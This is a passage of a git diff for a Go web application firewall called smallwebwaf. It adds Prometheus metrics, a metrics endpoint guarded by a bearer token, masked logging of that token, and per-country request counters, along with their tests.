h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= +github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= +github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= +github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= +github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= +github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU= +github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE= +github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= +github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE= +github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi/PY= +github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc= +github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI= +github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= +go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ= +go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= +google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 647f3c0..817131f 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -112,6 +112,8 @@ type Ledger struct { netblocks *simplelru.LRU[netip.Prefix, *[]Ban] // held is how many bans netblocks holds, at most rules.MaxBans. held int + // made is how many bans BanForLimit has made since the start. + made int // v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6 // netblocks that have been banned. Check looks for a ban at each of // them, so that a ban read from bans.json refuses every client in its @@ -206,6 +208,7 @@ func (l *Ledger) BanForLimit(netblock netip.Prefix, now time.Time, notes Notes) Notes: notes, } l.add(ban) + l.made++ select { case l.changed <- struct{}{}: @@ -229,6 +232,38 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban { return slices.Clone(*bans) } +// Made returns how many bans the ledger has made since the start; bans +// read from bans.json are not among them. +func (l *Ledger) Made() int { + l.mu.Lock() + defer l.mu.Unlock() + + return l.made +} + +// Count returns how many of the bans held are active at now, and how many +// are permanent. +func (l *Ledger) Count(now time.Time) (int, int) { + l.mu.Lock() + defer l.mu.Unlock() + + active, permanent := 0, 0 + + for _, bans := range l.netblocks.Values() { + for _, ban := range *bans { + if ban.ActiveAt(now) { + active++ + } + + if ban.Permanent() { + permanent++ + } + } + } + + return active, permanent +} + // Snapshot returns every ban held, sorted by netblock, and each // netblock's bans oldest first, as bans.json lists them. func (l *Ledger) Snapshot() []Ban { diff --git a/internal/config/config.go b/internal/config/config.go index 69e1281..65281c1 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -17,6 +17,7 @@ import ( "strconv" "strings" "time" + "unicode/utf8" ) // Config is smallwebwaf's settings. A timeout, size or rate limit of zero @@ -103,6 +104,12 @@ type Config struct { StateDir string StateWriteDelay time.Duration StateCounterInterval time.Duration + // MetricsToken is the bearer token a scraper sends for the metrics + // (SWWAF_METRICS_TOKEN), "" while it is unset and the metrics are off. + // MetricsTopN is how many countries get series of their own in the + // metrics (SWWAF_METRICS_TOP_N). + MetricsToken string + MetricsTopN int // settings are the values read, as given or by default, for the // log line at start. @@ -119,6 +126,10 @@ const ( mebibyte = 1 << 20 gibibyte = 1 << 30 ipv4Bits = 32 + // minTokenLength is the fewest characters a token may have. + minTokenLength = 32 + // masked is what the log shows for a token that is set. + masked = "********" ) var ( @@ -150,6 +161,7 @@ var ( "is not the length of an IPv4 netblock, from 0 to 32, such as 24") errNotAbsolutePath = errors.New( "is not an absolute path, such as /var/lib/smallwebwaf") + errShortToken = errors.New("is shorter than 32 characters") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -188,6 +200,8 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { StateDir: env.absolutePath("SWWAF_STATE_DIR", "/var/lib/smallwebwaf"), StateWriteDelay: env.durationNotOff("SWWAF_STATE_WRITE_DELAY", "10s"), StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), + MetricsToken: env.token("SWWAF_METRICS_TOKEN"), + MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), } for _, country := range cfg.ExclusivelyAllowedCountries { @@ -353,6 +367,26 @@ func (e *environment) absolutePath(name, defaultValue string) string { return path } +// token reads a setting that is a bearer token. Unset, it is "", which +// switches off what it guards; set, it must be at least minTokenLength +// characters. Neither the log nor an error shows its value. +func (e *environment) token(name string) string { + value, set := e.lookupEnv(name) + if !set { + e.settings = append(e.settings, slog.String(name, "")) + + return "" + } + + e.settings = append(e.settings, slog.String(name, masked)) + + if utf8.RuneCountInString(value) < minTokenLength { + e.check(name, errShortToken) + } + + return value +} + // parseDuration reads a duration in Go's syntax, such as 90s or 15m, a // whole number of days such as 7d, or off. func parseDuration(value string) (time.Duration, error) { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 310764d..955ff70 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -44,8 +44,13 @@ const ( stateDir = "SWWAF_STATE_DIR" stateWriteDelay = "SWWAF_STATE_WRITE_DELAY" stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" + metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name + metricsTopN = "SWWAF_METRICS_TOP_N" ) +// token is a token of 32 characters, the shortest allowed. +const token = "0123456789abcdef0123456789abcdef" + // off switches a timeout, a size limit or a rate limit off. const off = "off" @@ -98,6 +103,8 @@ func TestDefaults(t *testing.T) { StateDir: "/var/lib/smallwebwaf", StateWriteDelay: 10 * time.Second, StateCounterInterval: 15 * time.Minute, + MetricsToken: "", + MetricsTopN: 50, }) if cfg.UpstreamURL.String() != "http://127.0.0.1:8081" { @@ -145,6 +152,8 @@ func TestValuesAsSet(t *testing.T) { stateDir: "/srv/waf-state", stateWriteDelay: "500ms", stateCounterInterval: "1h", + metricsToken: token, + metricsTopN: "10", }) wantSettings(t, cfg, config.Config{ @@ -169,6 +178,8 @@ func TestValuesAsSet(t *testing.T) { StateDir: "/srv/waf-state", StateWriteDelay: 500 * time.Millisecond, StateCounterInterval: time.Hour, + MetricsToken: token, + MetricsTopN: 10, }) if cfg.UpstreamURL.String() != "https://app.internal:8443/" { @@ -344,6 +355,7 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/smallwebwaf"}, {stateWriteDelay, off}, {stateWriteDelay, "0s"}, {stateCounterInterval, off}, {stateCounterInterval, "15"}, + {metricsTopN, off}, {metricsTopN, "0"}, {metricsTopN, "-1"}, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() @@ -360,6 +372,39 @@ func TestInvalidValueStopsTheStart(t *testing.T) { } } +func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) { + t.Parallel() + + // Characters are counted, not bytes: each é takes two. + for _, value := range []string{"", token[1:], strings.Repeat("é", 31)} { + t.Run(value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{metricsToken: value}.lookupEnv) + + want := metricsToken + ": is shorter than 32 characters" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestTokenIsLoggedMasked(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{metricsToken: token}) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + + if strings.Contains(out.String(), token) || + !strings.Contains(out.String(), `"`+metricsToken+`":"********"`) { + t.Errorf("the token is not logged masked: %s", out.String()) + } +} + func TestLogsEachSettingWithItsValue(t *testing.T) { t.Parallel() @@ -407,6 +452,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { stateDir: "/var/lib/smallwebwaf", stateWriteDelay: "10s", stateCounterInterval: "15m", + metricsToken: "", + metricsTopN: "50", } if !maps.Equal(line.Settings, want) { t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) @@ -435,7 +482,8 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { wantBanSettings(t, got, want) } -// wantBanSettings checks the settings for bans and the state files. +// wantBanSettings checks the settings for bans, the state files and the +// metrics. func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { t.Helper() @@ -453,6 +501,11 @@ func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { got.StateCounterInterval != want.StateCounterInterval { t.Errorf("state settings\n%+v\nwant\n%+v", got, want) } + + if got.MetricsToken != want.MetricsToken || got.MetricsTopN != want.MetricsTopN { + t.Errorf("metrics token %q and top %d, want %q and %d", + got.MetricsToken, got.MetricsTopN, want.MetricsToken, want.MetricsTopN) + } } // wantNetblocks checks a list of netblocks. diff --git a/internal/lookup/lookup.go b/internal/lookup/lookup.go index c5633ab..c181007 100644 --- a/internal/lookup/lookup.go +++ b/internal/lookup/lookup.go @@ -19,6 +19,7 @@ import ( "time" "github.com/hashicorp/golang-lru/v2/simplelru" + "sneak.berlin/go/smallwebwaf/internal/metrics" ) // URL is GeoJS's country endpoint. Asked about several addresses at once, @@ -64,6 +65,9 @@ type Params struct { Now func() time.Time // ProcessLog receives GeoJS's failures. ProcessLog *slog.Logger + // Metrics count the requests to GeoJS, those that failed, and the + // clients that go without an answer. + Metrics *metrics.Metrics } // GeoJS looks up clients' countries through GeoJS. At most one request @@ -73,6 +77,7 @@ type GeoJS struct { url string now func() time.Time processLog *slog.Logger + metrics *metrics.Metrics // httpClient follows no redirect, so that visitors' addresses go to // GeoJS alone: a redirect is a failure. httpClient *http.Client @@ -121,6 +126,7 @@ func New(params Params) *GeoJS { url: params.URL, now: params.Now, processLog: params.ProcessLog, + metrics: params.Metrics, httpClient: &http.Client{ CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse @@ -160,6 +166,9 @@ func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string { defer g.mu.Unlock() country, found := g.kept(client) + if !found { + g.metrics.GeoJSUnanswered.Inc() + } w, waiting := g.waiting[client] if !found && waiting { @@ -234,6 +243,8 @@ func (g *GeoJS) answerOrWait( g.ask(ctx) if w == nil { + g.metrics.GeoJSUnanswered.Inc() + return "", nil // too many clients wait already } @@ -243,6 +254,8 @@ func (g *GeoJS) answerOrWait( } if w.late { + g.metrics.GeoJSUnanswered.Inc() + return "", nil } @@ -355,6 +368,8 @@ func (g *GeoJS) keep( } if err != nil { + g.metrics.GeoJSFailures.Inc() + g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay), maxRetryDelay) g.retryAt = now.Add(g.retryDelay) @@ -399,6 +414,8 @@ func (g *GeoJS) request( req.URL.RawQuery = "ip=" + strings.Join(addrs, ",") + g.metrics.GeoJSRequests.Inc() + res, err := g.httpClient.Do(req) if err != nil { // Do's error names the URL, and so the visitors' addresses, which diff --git a/internal/lookup/lookup_test.go b/internal/lookup/lookup_test.go index d2455a9..4d718fc 100644 --- a/internal/lookup/lookup_test.go +++ b/internal/lookup/lookup_test.go @@ -13,7 +13,9 @@ import ( "testing/synctest" "time" + "github.com/prometheus/client_golang/prometheus/testutil" "sneak.berlin/go/smallwebwaf/internal/lookup" + "sneak.berlin/go/smallwebwaf/internal/metrics" ) const ( @@ -194,6 +196,7 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) { URL: lookup.URL, Now: time.Now, ProcessLog: slog.New(slog.NewTextHandler(&log, nil)), + Metrics: metrics.New(1), }) g.SetTransport(geojs) @@ -348,6 +351,40 @@ func TestAtMost10000ClientsWait(t *testing.T) { }) } +func TestClientsWithoutAnAnswerAreCounted(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + m := metrics.New(1) + g := lookup.New(lookup.Params{ + URL: lookup.URL, + Now: time.Now, + ProcessLog: slog.New(slog.DiscardHandler), + Metrics: m, + }) + g.SetTransport(&standIn{answers: failing}) + + clients := newClients() + + // GeoJS fails, so the first client goes without an answer, and GeoJS + // is left alone for a second, which does not pass in this test. + wantCountry(t, g, clients(), "") + wantUnanswered(t, m, 1) + + // Meanwhile each new client goes without one at once, while there is + // room for it among the 10,000 that may wait. + for range 9999 { + wantCountry(t, g, clients(), "") + } + + wantUnanswered(t, m, 10000) + + // One more, for which there is no room, goes without one too. + wantCountry(t, g, clients(), "") + wantUnanswered(t, m, 10001) + }) +} + // How the stand-in for GeoJS answers. const ( answering = iota @@ -493,6 +530,7 @@ func start() (*standIn, *testClock, *lookup.GeoJS) { URL: lookup.URL, Now: clock.Now, ProcessLog: slog.New(slog.DiscardHandler), + Metrics: metrics.New(1), }) g.SetTransport(geojs) @@ -549,6 +587,17 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) { } } +// wantUnanswered checks how many requests m counts as having gone without +// an answer from GeoJS. +func wantUnanswered(t *testing.T, m *metrics.Metrics, want float64) { + t.Helper() + + got := testutil.ToFloat64(m.GeoJSUnanswered) + if got != want { + t.Errorf("%v requests went without an answer, want %v", got, want) + } +} + // waitForRequests waits until g has done all it can before time passes, // checks that GeoJS has had count requests, and returns the addresses each // asked about. diff --git a/internal/metrics/countries.go b/internal/metrics/countries.go new file mode 100644 index 0000000..27cf010 --- /dev/null +++ b/internal/metrics/countries.go @@ -0,0 +1,116 @@ +package metrics + +import ( + "sync" + + "github.com/prometheus/client_golang/prometheus" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// other is the label under which the countries outside the busiest are +// counted. +const other = "other" + +// countries are the metrics by the client's country, for requests whose +// client's country is known. The topN busiest countries, by their requests +// since the start, have series of their own, and the others are counted +// under other, so that there are never more than topN + 1 series. A +// country that drops out of the busiest loses its series, and its next +// requests are counted under other; one that becomes one of them gets a +// series that counts from then on. Each series therefore only ever goes +// up. +type countries struct { + topN int + + requests *prometheus.CounterVec + requestBytes *prometheus.CounterVec + responseBytes *prometheus.CounterVec + // refused are the requests the country lists refused. + refused *prometheus.CounterVec + + mu sync.Mutex + // seen is each country's requests since the start, by which the + // countries are ranked. GeoJS gives two-letter codes, so it holds at + // most a few hundred. + seen map[string]int64 + // top are the countries with series of their own. + top map[string]bool +} + +// newCountries returns the metrics by country, with series of their own +// for the topN busiest countries. +func newCountries(topN int) *countries { + byCountry := []string{"country"} + + return &countries{ + topN: topN, + requests: counterVec("smallwebwaf_country_requests_total", + "Requests, by the client's country.", byCountry), + requestBytes: counterVec("smallwebwaf_country_request_bytes_total", + "Request body bytes, by the client's country.", byCountry), + responseBytes: counterVec("smallwebwaf_country_response_bytes_total", + "Response body bytes, by the client's country.", byCountry), + refused: counterVec("smallwebwaf_country_list_refusals_total", + "Requests the country lists refused, by the client's country.", + byCountry), + seen: map[string]int64{}, + top: map[string]bool{}, + } +} + +// add counts a request from its log line, whose country is known. +func (c *countries) add(line *requestlog.Line) { + c.mu.Lock() + defer c.mu.Unlock() + + c.seen[line.Country]++ + + label := c.label(line.Country) + c.requests.WithLabelValues(label).Inc() + c.requestBytes.WithLabelValues(label).Add(float64(line.RequestBytes)) + c.responseBytes.WithLabelValues(label).Add(float64(line.ResponseBytes)) + + if line.Action == requestlog.ActionCountryDenied { + c.refused.WithLabelValues(label).Inc() + } +} + +// label returns the label a request from country is counted under: the +// country while it is one of the busiest, other while it is not. A +// country busier than the least busy of them takes its place, and that +// country's series are dropped. +func (c *countries) label(country string) string { + if c.top[country] { + return country + } + + if len(c.top) < c.topN { + c.top[country] = true + + return country + } + + least := "" + + for top := range c.top { + if least == "" || c.seen[top] < c.seen[least] { + least = top + } + } + + if c.seen[country] <= c.seen[least] { + return other + } + + delete(c.top, least) + + for _, vec := range []*prometheus.CounterVec{ + c.requests, c.requestBytes, c.responseBytes, c.refused, + } { + vec.DeleteLabelValues(least) + } + + c.top[country] = true + + return country +} diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go new file mode 100644 index 0000000..2bba0ed --- /dev/null +++ b/internal/metrics/metrics.go @@ -0,0 +1,257 @@ +// Package metrics keeps smallwebwaf's Prometheus metrics, as the "Metrics +// endpoint" section of SPEC.md lists them, and serves them in the +// Prometheus text format. No metric carries a client's address. +package metrics + +import ( + "net/http" + "strconv" + "time" + + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/collectors" + "github.com/prometheus/client_golang/prometheus/promhttp" + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// Metrics are smallwebwaf's metrics. They are safe for concurrent use. +type Metrics struct { + registry *prometheus.Registry + handler http.Handler + + inFlight prometheus.Gauge + requests *prometheus.CounterVec + requestBytes *prometheus.CounterVec + responseBytes *prometheus.CounterVec + requestDuration prometheus.Histogram + upstreamDuration prometheus.Histogram + rateLimitHits *prometheus.CounterVec + sizeAndTimeLimitHits *prometheus.CounterVec + offences *prometheus.CounterVec + countries *countries + + // GeoJSRequests are the requests to GeoJS, and GeoJSFailures those + // that failed. GeoJSUnanswered are the requests whose client counted + // as coming from an unknown country because GeoJS had not answered + // about it in time. + GeoJSRequests prometheus.Counter + GeoJSFailures prometheus.Counter + GeoJSUnanswered prometheus.Counter + + stateFileWrites *prometheus.CounterVec + stateFileWriteFailures *prometheus.CounterVec + stateFileLastWrite *prometheus.GaugeVec + stateFileSize *prometheus.GaugeVec +} + +// New returns the metrics, with the Go runtime's and the process's own. +// topN is how many countries get series of their own +// (SWWAF_METRICS_TOP_N). +func New(topN int) *Metrics { + byStatus := []string{"status_class", "action"} + byFile := []string{"file"} + + m := &Metrics{ + registry: prometheus.NewRegistry(), + inFlight: prometheus.NewGauge(prometheus.GaugeOpts{ + Name: "smallwebwaf_requests_in_flight", + Help: "Requests under way.", + }), + requests: counterVec("smallwebwaf_requests_total", + "Requests, by the class of their status and their action.", byStatus), + requestBytes: counterVec("smallwebwaf_request_bytes_total", + "Request body bytes, by the class of the status and the action.", + byStatus), + responseBytes: counterVec("smallwebwaf_response_bytes_total", + "Response body bytes, by the class of the status and the action.", + byStatus), + requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{ + Name: "smallwebwaf_request_duration_seconds", + Help: "How long requests took, from their arrival to their end.", + }), + upstreamDuration: prometheus.NewHistogram(prometheus.HistogramOpts{ + Name: "smallwebwaf_upstream_duration_seconds", + Help: "How long requests passed to the app took, from then to their end.", + }), + rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total", + "Requests that broke a rate limit, by its window.", + []string{"window"}), + sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total", + "Requests that passed a size or time limit, by its setting.", + []string{"limit"}), + offences: counterVec("smallwebwaf_offences_total", + "Offences, by kind.", []string{"kind"}), + countries: newCountries(topN), + GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ + Name: "smallwebwaf_geojs_requests_total", + Help: "Requests to GeoJS.", + }), + GeoJSFailures: prometheus.NewCounter(prometheus.CounterOpts{ + Name: "smallwebwaf_geojs_failures_total", + Help: "Requests to GeoJS that failed.", + }), + GeoJSUnanswered: prometheus.NewCounter(prometheus.CounterOpts{ + Name: "smallwebwaf_geojs_unanswered_total", + Help: "Requests whose client counted as coming from an unknown " + + "country because GeoJS had not answered about it in time.", + }), + stateFileWrites: counterVec("smallwebwaf_state_file_writes_total", + "Writes of each state file.", byFile), + stateFileWriteFailures: counterVec("smallwebwaf_state_file_write_failures_total", + "Writes of each state file that failed.", byFile), + stateFileLastWrite: gaugeVec("smallwebwaf_state_file_last_write_timestamp_seconds", + "When each state file was last written, in seconds since 1970.", byFile), + stateFileSize: gaugeVec("smallwebwaf_state_file_size_bytes", + "The size of each state file, as it was last written.", byFile), + } + + m.handler = promhttp.HandlerFor(m.registry, promhttp.HandlerOpts{}) + + m.registry.MustRegister( + collectors.NewGoCollector(), + collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), + m.inFlight, m.requests, m.requestBytes, m.responseBytes, + m.requestDuration, m.upstreamDuration, + m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, + m.countries.requests, m.countries.requestBytes, m.countries.responseBytes, + m.countries.refused, + m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered, + m.stateFileWrites, m.stateFileWriteFailures, + m.stateFileLastWrite, m.stateFileSize, + ) + + return m +} + +// AddBansAndClients adds the metrics read from the ledger and the table +// of clients as the metrics are asked for: the bans made since the start, +// the bans active and permanent at now, and the clients in the table. +func (m *Metrics) AddBansAndClients( + ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time, +) { + m.registry.MustRegister( + // Every ban smallwebwaf makes so far is for a broken limit. + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_bans_made_total", + Help: "Bans made, by cause.", + ConstLabels: prometheus.Labels{"cause": "limit"}, + }, func() float64 { + return float64(ledger.Made()) + }), + prometheus.NewGaugeFunc(prometheus.GaugeOpts{ + Name: "smallwebwaf_active_bans", + Help: "Bans active now, the permanent ones included.", + }, func() float64 { + active, _ := ledger.Count(now()) + + return float64(active) + }), + prometheus.NewGaugeFunc(prometheus.GaugeOpts{ + Name: "smallwebwaf_permanent_bans", + Help: "Permanent bans.", + }, func() float64 { + _, permanent := ledger.Count(now()) + + return float64(permanent) + }), + prometheus.NewGaugeFunc(prometheus.GaugeOpts{ + Name: "smallwebwaf_tracked_clients", + Help: "Clients in the table of clients.", + }, func() float64 { + return float64(limiter.Len()) + }), + ) +} + +// ServeHTTP answers with the metrics in the Prometheus text format. +func (m *Metrics) ServeHTTP(w http.ResponseWriter, r *http.Request) { + m.handler.ServeHTTP(w, r) +} + +// RequestStarted counts a request as under way. +func (m *Metrics) RequestStarted() { + m.inFlight.Inc() +} + +// RequestEnded counts a request that has ended, from its log line. limit +// is the setting whose size or time limit the request passed, "" if none. +// duration is how long the request took, and upstreamDuration how long it +// took from when it was passed to the app, zero if it was not. +func (m *Metrics) RequestEnded( + line *requestlog.Line, limit string, duration, upstreamDuration time.Duration, +) { + m.inFlight.Dec() + + class := statusClass(line.Status) + m.requests.WithLabelValues(class, line.Action).Inc() + m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes)) + m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes)) + m.requestDuration.Observe(duration.Seconds()) + + if upstreamDuration > 0 { + m.upstreamDuration.Observe(upstreamDuration.Seconds()) + } + + if line.LimitHit != "" { + m.rateLimitHits.WithLabelValues(line.LimitHit).Inc() + } + + if limit != "" { + m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc() + } + + if line.Offence != "" { + m.offences.WithLabelValues(line.Offence).Inc() + } + + if line.Country != "" { + m.countries.add(line) + } +} + +// StateFileWritten counts a write of the state file name, of size bytes, +// that ended with err. +func (m *Metrics) StateFileWritten(name string, size int, err error) { + m.stateFileWrites.WithLabelValues(name).Inc() + + // The series of failures is there from the first write, at zero until + // one fails. + failures := m.stateFileWriteFailures.WithLabelValues(name) + + if err != nil { + failures.Inc() + + return + } + + m.stateFileLastWrite.WithLabelValues(name).SetToCurrentTime() + m.stateFileSize.WithLabelValues(name).Set(float64(size)) +} + +// statusClass returns the class of status, such as 2xx, or none when no +// status was sent. +func statusClass(status int) string { + if status == 0 { + return "none" + } + + // A status's class is its hundreds: 404 is in 4xx. + const hundred = 100 + + return strconv.Itoa(status/hundred) + "xx" +} + +// counterVec returns a counter named name, described by help, with a +// series for each set of values of labels. +func counterVec(name, help string, labels []string) *prometheus.CounterVec { + return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help}, + labels) +} + +// gaugeVec returns a gauge named name, described by help, with a series +// for each set of values of labels. +func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec { + return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels) +} diff --git a/internal/proxy/admin.go b/internal/proxy/admin.go new file mode 100644 index 0000000..7075ffc --- /dev/null +++ b/internal/proxy/admin.go @@ -0,0 +1,43 @@ +package proxy + +import ( + "crypto/subtle" + "net/http" + "strings" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// answerAdmin answers a request for smallwebwaf itself, under +// /_smallwebwaf/, once it has passed the checks: GET MetricsPath with +// SWWAF_METRICS_TOKEN gets the metrics, and without it is refused with +// 401. Any other request gets 404, as the metrics do while +// SWWAF_METRICS_TOKEN is unset. +func (rq *request) answerAdmin() { + rq.line.Action = requestlog.ActionAdmin + rq.startClientResponseTimeout() + + token := rq.h.config.MetricsToken + + switch { + case token == "" || rq.in.Method != http.MethodGet || rq.in.URL.Path != MetricsPath: + http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound) + case !hasToken(rq.in, token): + rq.out.Header().Set("WWW-Authenticate", "Bearer") + rq.answer(refusal{ + status: http.StatusUnauthorized, + action: requestlog.ActionAdmin, + }) + default: + rq.h.metrics.ServeHTTP(rq.out, rq.in) + } +} + +// hasToken reports whether r carries token, as Authorization: Bearer +// . +func hasToken(r *http.Request, token string) bool { + scheme, sent, _ := strings.Cut(r.Header.Get("Authorization"), " ") + + return strings.EqualFold(scheme, "Bearer") && + subtle.ConstantTimeCompare([]byte(sent), []byte(token)) == 1 +} diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go index e1aa4ef..5683aa2 100644 --- a/internal/proxy/bans_test.go +++ b/internal/proxy/bans_test.go @@ -402,36 +402,54 @@ func (s *sender) get(from string, status int, action string) logLine { func (s *sender) request(from, path string, status int, action string) logLine { s.t.Helper() + line, _ := s.requestWithHeader(from, path, "", status, action) + + return line +} + +// requestWithHeader is request with header, such as "Authorization: +// Bearer x", added to the request unless it is "". It returns the body of +// the answer too. +func (s *sender) requestWithHeader( + from, path, header string, status int, action string, +) (logLine, string) { + s.t.Helper() + + if header != "" { + header += "\r\n" + } + conn := dial(s.t, s.addr) send(s.t, conn, "GET "+path+" HTTP/1.1\r\nHost: "+appHost+ - "\r\nUser-Agent: "+userAgent+"\r\n"+forwardedFor+": "+from+"\r\n\r\n") + "\r\nUser-Agent: "+userAgent+"\r\n"+forwardedFor+": "+from+"\r\n"+ + header+"\r\n") err := conn.SetReadDeadline(time.Now().Add(waitLimit)) if err != nil { s.t.Fatalf("set read deadline: %v", err) } - got := 0 + var got answer res, err := http.ReadResponse(bufio.NewReader(conn), nil) switch { case err == nil: - got = readAnswer(res).status + got = readAnswer(res) case !errors.Is(err, io.ErrUnexpectedEOF): s.t.Fatalf("read response: %v", err) } _ = conn.Close() - if got != status { - s.t.Errorf("request %d, from %s: status 